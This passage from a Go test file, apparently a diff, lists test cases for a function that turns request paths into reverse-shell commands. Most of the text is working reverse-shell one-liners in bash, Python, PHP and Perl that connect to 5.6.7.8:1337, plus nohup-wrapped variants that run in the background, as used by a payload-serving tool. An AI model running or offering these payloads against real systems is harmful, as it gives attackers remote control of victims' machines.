<&3 >&3 2>&3");'`, `/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/bash -i <&3 >&3");'\''' >/dev/null &`}, + {"/5.6.7.8/1337/bash/", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337/python/", "1.2.3.4:80", `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`, `/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null &`}, + {"/5.6.7.8/1337/php/", "1.2.3.4:8080", `php -r '$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/sh -i <&3 >&3 2>&3");'`, `/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/bash -i <&3 >&3");'\''' >/dev/null &`}, + {"/5.6.7.8/1337/bash//", "1.2.3.4", "bash -c 'bash -i >/dev/tcp/5.6.7.8/1337 0>&1'", `/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/5.6.7.8/1337 0>&1' >/dev/null &`}, + {"/5.6.7.8/1337/python//", "1.2.3.4:80", `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`, `/usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.6.7.8",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null &`}, + {"/5.6.7.8/1337/php//", "1.2.3.4:8080", `php -r '$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/sh -i <&3 >&3 2>&3");'`, `/usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("5.6.7.8",1337);shell_exec("/bin/bash -i <&3 >&3");'\''' >/dev/null &`}, + {"/5.6.7.8/1337/bash//perl", "1.2.3.4", `perl -e 'use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, `/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' >/dev/null &`}, + {"/5.6.7.8/1337/python//perl", "1.2.3.4:80", `perl -e 'use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, `/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' >/dev/null &`}, + {"/5.6.7.8/1337/php//perl", "1.2.3.4:8080", `perl -e 'use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, `/usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="5.6.7.8";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' >/dev/null &`}, } for _, test := range tests { if got := URI2Command(test.requestURI, test.httpHost); got != test.want {